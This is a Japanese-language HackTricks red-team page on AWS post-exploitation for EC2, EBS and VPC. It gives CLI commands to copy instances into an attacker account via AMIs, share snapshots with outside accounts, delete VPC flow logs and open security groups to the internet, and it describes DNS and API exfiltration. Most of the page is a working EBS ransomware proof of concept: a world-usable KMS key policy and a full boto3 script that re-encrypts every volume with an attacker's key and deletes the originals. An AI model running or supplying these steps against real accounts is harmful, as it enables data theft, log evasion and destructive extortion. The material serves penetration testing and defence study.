AWS - EC2, EBS, SSM & VPC Post Exploitation

htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学びましょう

HackTricksをサポートする他の方法:

EC2 & VPC

詳細については、次を確認してください:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

悪意のあるVPCミラー - ec2:DescribeInstancesec2:RunInstancesec2:CreateSecurityGroupec2:AuthorizeSecurityGroupIngressec2:CreateTrafficMirrorTargetec2:CreateTrafficMirrorSessionec2:CreateTrafficMirrorFilterec2:CreateTrafficMirrorFilterRule

VPCトラフィックミラーリングは、VPC内のEC2インスタンスの入出力トラフィックを複製し、インスタンス自体に何もインストールする必要がないまま行います。この複製されたトラフィックは通常、ネットワーク侵入検知システム(IDS)などに送信され、分析および監視されます。 攻撃者はこれを悪用して、すべてのトラフィックをキャプチャし、そこから機密情報を取得する可能性があります:

詳細については、このページを確認してください:

pageAWS - Malicious VPC Mirror

実行中のインスタンスのコピー

インスタンスには通常、ある種の機密情報が含まれています。内部に入るさまざまな方法があります(EC2特権昇格トリックを確認してください)。ただし、その内容を確認する別の方法は、**AMIを作成し、それから新しいインスタンスを実行する(自分のアカウント内でも)**です:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBSスナップショットのダンプ

スナップショットはボリュームのバックアップであり、通常は機密情報を含んでいるため、これらをチェックするとこの情報が明らかになるはずです。 スナップショットのないボリュームを見つけた場合は、スナップショットを作成して以下のアクションを実行するか、単にアカウント内のインスタンスにマウントすることができます:

pageAWS - EBS Snapshot Dump

データの持ち出し

DNSを利用したデータの持ち出し

EC2を完全に外部通信できないようにロックダウンしていても、DNS経由でデータを持ち出すことができます。

  • VPCフローログには記録されません

  • AWS DNSログにアクセスできません。

  • これを無効にするには、次のコマンドを使用して「enableDnsSupport」をfalseに設定します:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

APIコールを介したデータの持ち出し

攻撃者は、自分が制御するアカウントのAPIエンドポイントを呼び出すことができます。Cloudtrailはこれらのコールを記録し、攻撃者はCloudtrailログでデータの持ち出しを確認できます。

オープンセキュリティグループ

このようにポートを開放することで、ネットワークサービスへのアクセスをさらに拡張できます:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

ECSへの権限昇格

EC2インスタンスを実行し、ECSインスタンスを実行するために登録し、その後ECSインスタンスのデータを盗むことが可能です。

詳細についてはこちらをチェックしてください

VPCフローログの削除

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

AMIの共有

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

S3のポストエクスプロイテーションノートでデモンストレーションされたRansomwareと類似した概念の証明。様々なAWSサービスを暗号化するのがどれほど簡単かを示すために、KMSをRMS(Ransomware Management Service)に名前変更すべきです。

最初に、「攻撃者」のAWSアカウントから、KMSでカスタマー管理キーを作成します。この例では、AWSにキーのデータ管理を任せることにしますが、現実的なシナリオでは、悪意のある行為者がキーのデータをAWSの管理外で保持するでしょう。キーポリシーを変更して、任意のAWSアカウントプリンシパルがキーを使用できるようにします。このキーポリシーでは、アカウントの名前は「AttackSim」であり、すべてのアクセスを許可するポリシールールは「Outside Encryption」と呼ばれています。

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

キーポリシールールには、EBSボリュームを暗号化する機能を許可するために次のものが必要です:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

これで公開アクセス可能なキーを使用できます。暗号化されていないEBSボリュームがアタッチされたEC2インスタンスを持つ'被害者'アカウントを使用できます。この'被害者'アカウントのEBSボリュームが暗号化の対象であり、この攻撃は高特権AWSアカウントの前提で行われます。

これにより、アカウントには暗号化されたEBSボリュームのみが残ります。

また、スクリプトはEC2インスタンスを停止して元のEBSボリュームをデタッチおよび削除しました。元の暗号化されていないボリュームはもう存在しません。

次に、'攻撃者'アカウントのキーポリシーに戻り、キーポリシーから'Outside Encryption'ポリシールールを削除してください。

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

新しく設定されたキーポリシーが伝播するのを待ちます。その後、「被害者」アカウントに戻り、新しく暗号化されたEBSボリュームの1つをアタッチしようとしてみてください。ボリュームをアタッチできることがわかります。

ただし、実際に暗号化されたEBSボリュームを使用してEC2インスタンスを再起動しようとすると、ボリュームのアタッチができないため、「保留中」の状態から永遠に「停止」の状態に戻ります。なぜなら、キーのポリシーがそれを許可しなくなったからです。

これは使用されたPythonスクリプトです。このスクリプトは、'被害者'アカウントのAWS資格情報と、暗号化に使用されるキーの公開可能なAWS ARN値を取ります。スクリプトは、対象のAWSアカウントにあるすべてのEC2インスタンスにアタッチされているすべての利用可能なEBSボリュームの暗号化コピーを作成し、次にすべてのEC2インスタンスを停止し、元のEBSボリュームをデタッチし、削除し、最後にプロセス中に使用されたすべてのスナップショットを削除します。これにより、対象の「被害者」アカウントには暗号化されたEBSボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。破壊的であり、すべての元のEBSボリュームを削除します。使用したKMSキーを使用して回復し、スナップショットを介して元の状態に復元できますが、最終的にはランサムウェアのPoCであることを認識しておく必要があります。

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

最終更新